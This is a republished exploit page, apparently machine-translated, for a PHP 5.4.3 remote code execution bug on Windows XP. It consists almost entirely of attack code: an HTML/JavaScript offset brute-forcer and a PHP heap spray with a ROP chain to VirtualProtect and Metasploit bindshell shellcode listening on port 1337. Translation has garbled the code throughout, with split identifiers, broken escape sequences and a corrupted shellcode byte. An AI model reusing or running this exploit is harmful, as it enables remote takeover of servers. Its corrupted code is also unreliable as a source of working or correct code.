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PHP 5.4 (5.4.3) Code Execution (Win32)

Source: Internet
Author: User
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// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
// Exploit author: 0in (Maksymilian Motyl)
// Email: 0in (dot) email (at) gmail.com
// * Bug with Variant type parsing originally discovered by Condis
// Tested on Windows XP SP3 fully patched (Polish)
 
==============================
Offset-brute.html
==============================
 
<Html> <body>
<Title> 0 day </title>
<Center>
<Font size = 7> PHP 5.4.3 0day by 0in & cOndis </font> <br>
<Textarea rows = 50 cols = 50 id = "log"> & lt;/textarea & gt;
</Center>
<Script>
Function sleep (milliseconds ){
Var start = new Date (). getTime ();
For (var I = 0; I <1e7; I ++ ){
If (new Date (). getTime ()-start)> milliseconds ){
Break;
}
}
}
Function makeRequest (url, parameters)
{
Var xmlhttp = new XMLHttpRequest ();
If (window. XMLHttpRequest ){
Xmlhttp = new XMLHttpRequest ();
If (xmlhttp. overrideMimeType ){
Xmlhttp. overrideMimeType ('text/xml ');
}
} Else if (window. ActiveXObject ){
// IE
Try {xmlhttp = new ActiveXObject ("Msxml2.XMLHTTP ");}
Catch (e ){
Try {xmlhttp = new ActiveXObject ("Microsoft. XMLHTTP ");}
Catch (e ){}
}
}
 
If (! Xmlhttp ){
Alert ('Giving up Cannot create an XMLHTTP instance ');
Return false;
}
 
Xmlhttp. open ("GET", url, true );
Xmlhttp. send (null );
Return true;
}
Test = document. getElementById ("log ");
For (offset = 0; offset <300; offset ++)
{
Log. value + = "Trying offset:" + offset + "\ r \ n ";
MakeRequest ("0day. php? Offset = "+ offset );
Sleep (500 );
}
 
</Script> </body>  
==============================
0 day. php
==============================
 
<? Php
 
$ Spray = str_repeat ("\ x90", 0x200 );
$ Offset = $ _ GET ['offset'];
// 775DF0Da # add esp, 10 # RETN ** [ole32.dll]
$ Spray = substr_replace ($ spray, "\ xda \ xf0 \ x5d \ x77", (strlen ($ spray) *-1, (strlen ($ spray )) *-1 );
//:> 0x048d0030
$ Spray = substr_replace ($ spray, pack ("L", 0x048d0030 + $ offset), (strlen ($ spray)-0x8) *-1, (strlen ($ spray) *-1 );
 
// 0x7752ae9f (RVA: 0x0005ae7f): # xchg eax, ESP # mov ecx, 468B0000 # or al, 3 # RETN [ole32.dll]
$ Spray = substr_replace ($ spray, "\ x9f \ xae \ x52 \ x77", (strlen ($ spray)-0x10) *-1, (strlen ($ spray) *-1 );
 
// Adress of VirtualProtect 0x7c801ad4
$ Spray = substr_replace ($ spray, "\ xd4 \ x1a \ x80 \ x7c", (strlen ($ spray)-0x14) *-1, (strlen ($ spray) *-1 );
 
// LPVOID lpAddress = 0x048d0060 www.2cto.com
$ Spray = substr_replace ($ spray, pack ("L", 0x048d0060 + $ offset), (strlen ($ spray)-0x1c) *-1, (strlen ($ spray )) *-1 );
 
// SIZE_T dwSize = 0x01000000
$ Spray = substr_replace ($ spray, "\ x00 \ x00 \ x10 \ x00", (strlen ($ spray)-0x20) *-1, (strlen ($ spray) *-1 );
 
// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
$ Spray = substr_replace ($ spray, "\ x40 \ x00 \ x00 \ x00", (strlen ($ spray)-0x24) *-1, (strlen ($ spray) *-1 );
// _ Out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
 
// 0x048d0068
$ Spray = substr_replace ($ spray, pack ("L", 0x048d0068 + $ offset), (strlen ($ spray)-0x28) *-1, (strlen ($ spray) *-1 );
 
// 0x77dfe8b4: # xor eax, EAX # add esp, 18 # inc eax # pop ebp # RETN 0C ** [ADVAPI32.dll]
$ Spray = substr_replace ($ spray, "\ xb4 \ xe8 \ xdf \ x77", (strlen ($ spray)-0x18) *-1, 4 );
// Ret Address = 0x048d0080
$ Spray = substr_replace ($ spray, pack ("L", 0x048d0080 + $ offset), (strlen ($ spray)-0x48) *-1, 4 );
 
$ Stacktrack = "\ xbc \ x0c \ xb0 \ xc0 \ x00 ";
// Universal win32 bindshell on port 1337 from metasploit
$ Shellcode = $ stacktrack. "\ x33 \ xc9 \ x83 \ xe9 \ xb0 ".
"\ X81 \ xc4 \ xd0 \ xfd \ xff ".
"\ Xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ x1d ".
"\ Xcc \ x32 \ x69 \ x83 \ xeb \ xfc \ xe2 \ xf4 \ xe1 \ xa6 \ xd9 \ x24 \ xf5 \ x35 \ xcd \ x96 ".
"\ Xe2 \ xac \ xb9 \ x05 \ x39 \ xe8 \ xb9 \ x2c \ x21 \ x47 \ x4e \ x6c \ x65 \ xcd \ xdd \ xe2 ".
"\ X52 \ xd4 \ xb9 \ x36 \ x3d \ xcd \ xd9 \ x20 \ x96 \ xf8 \ xb9 \ x68 \ xf3 \ xfd \ xf2 \ xf0 ".
"\ Xb1 \ x48 \ xf2 \ x1d \ x1a \ x0d \ xf8 \ x64 \ x1c \ x0e \ xd9 \ x9d \ x26 \ x98 \ x16 \ x41 ".
"\ X68 \ x29 \ xb9 \ x36 \ x39 \ xcd \ xd9 \ x0f \ x96 \ xc0 \ x79 \ xe2 \ x42 \ xd0 \ x33 \ x82 ".
"\ X1e \ xe0 \ xb9 \ xe0 \ x71 \ xe8 \ x2e \ x08 \ xde \ xfd \ xe9 \ x0d \ x96 \ x8f \ x02 \ xe2 ".
"\ X5d \ xc0 \ xb9 \ x19 \ x01 \ x61 \ xb9 \ x29 \ x15 \ x92 \ x5a \ xe7 \ x53 \ xc2 \ xde \ x39 ".
"\ Xe2 \ x1a \ x54 \ x3a \ x7b \ xa4 \ x01 \ x5b \ x75 \ xbb \ x41 \ x5b \ x42 \ x98 \ xcd \ xb9 ".
"\ X75 \ x07 \ xdf \ x95 \ x26 \ x9c \ xcd \ xbf \ x42 \ x45 \ xd7 \ x0f \ x9c \ x21 \ x3a \ x6b ".
"\ X48 \ xa6 \ x30 \ x96 \ xcd \ xa4 \ xeb \ x60 \ xe8 \ x61 \ x65 \ x96 \ xcb \ x9f \ x61 \ x3a ".
"\ X4e \ x9f \ x71 \ x3a \ x5e \ x9f \ xcd \ xb9 \ x7b \ xa4 \ x37 \ x50 \ x7b \ x9f \ xbb \ x88 ".
"\ X88 \ xa4 \ x96 \ x73 \ x6d \ x0b \ x65 \ x96 \ xcb \ xa6 \ x22 \ x38 \ x48 \ x33 \ xe2 \ x01 ".
"\ Xb9 \ x61 \ x1c \ x80 \ x4a \ x33 \ xe4 \ x3a \ x48 \ x33 \ xe2 \ x01 \ xf8 \ x85 \ xb4 \ x20 ".
"\ X4a \ x33 \ xe4 \ x39 \ x49 \ x98 \ x67 \ x96 \ xcd \ x5f \ x5a \ x8e \ x64 \ x0a \ x4b \ x3e ".
"\ Xe2 \ x1a \ x67 \ x96 \ xcd \ xaa \ x58 \ x0d \ x7b \ xa4 \ x51 \ x04 \ x94 \ x29 \ x58 \ x39 ".
"\ X44 \ xe5 \ xfe \ xe0 \ xfa \ xa6 \ x76 \ xe0 \ xff \ xfd \ xf2 \ x9a \ xb7 \ x32 \ cross 7 \ x44 ".
"\ Xe3 \ x8e \ x1e \ xfa \ x90 \ xb6 \ x0a \ xc2 \ xb6 \ x67 \ x5a \ x1b \ xe3 \ x7f \ x24 \ x96 ".
"\ X68 \ x88 \ xcd \ xbf \ x46 \ x9b \ x60 \ x38 \ x4c \ x9d \ x58 \ x68 \ x4c \ x9d \ x67 \ x38 ".
"\ Xe2 \ x1c \ x5a \ xc4 \ xc4 \ xc9 \ xfc \ x3a \ xe2 \ x1a \ x58 \ x96 \ xe2 \ xfb \ xcd \ xb9 ".
"\ X96 \ x9b \ xce \ xea \ xd9 \ xa8 \ xcd \ xbf \ x4f \ x33 \ xe2 \ x01 \ xf2 \ x02 \ xd2 \ x09 ".
"\ X4e \ x33 \ xe4 \ x96 \ xcd \ xcc \ x32 \ x69 ";
 
$ Spray = substr_replace ($ spray, $ shellcode, (strlen ($ spray)-0x50) *-1, (strlen ($ shellcode )));
$ Fullspray = "";
For ($ I = 0; $ I <0x4b00; $ I ++)
{
$ Fullspray. = $ spray;
}
$ J = array ();
$ E = array ();
$ B = array ();
$ A = array ();
$ C = array ();
 
Array_push ($ j, $ fullspray );
Array_push ($ e, $ fullspray. "W ");
Array_push ($ B, $ fullspray. "");
Array_push ($ a, $ fullspray. "S ");
Array_push ($ c, $ fullspray ."! ");
 
$ VVar = new VARIANT (0x048d0038 + $ offset );
// Shoot him
Com_print_typeinfo ($ vVar); // CRASH-> 102F3986 FF50 10 call dword ptr ds: [EAX + 10]
 
Echo $ arr;
 
Echo $ spray;
 
?>

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
php time code execution php cgi remote code execution vulnerability php win32 access stop code execution execution operator in php php delay execution php execution time
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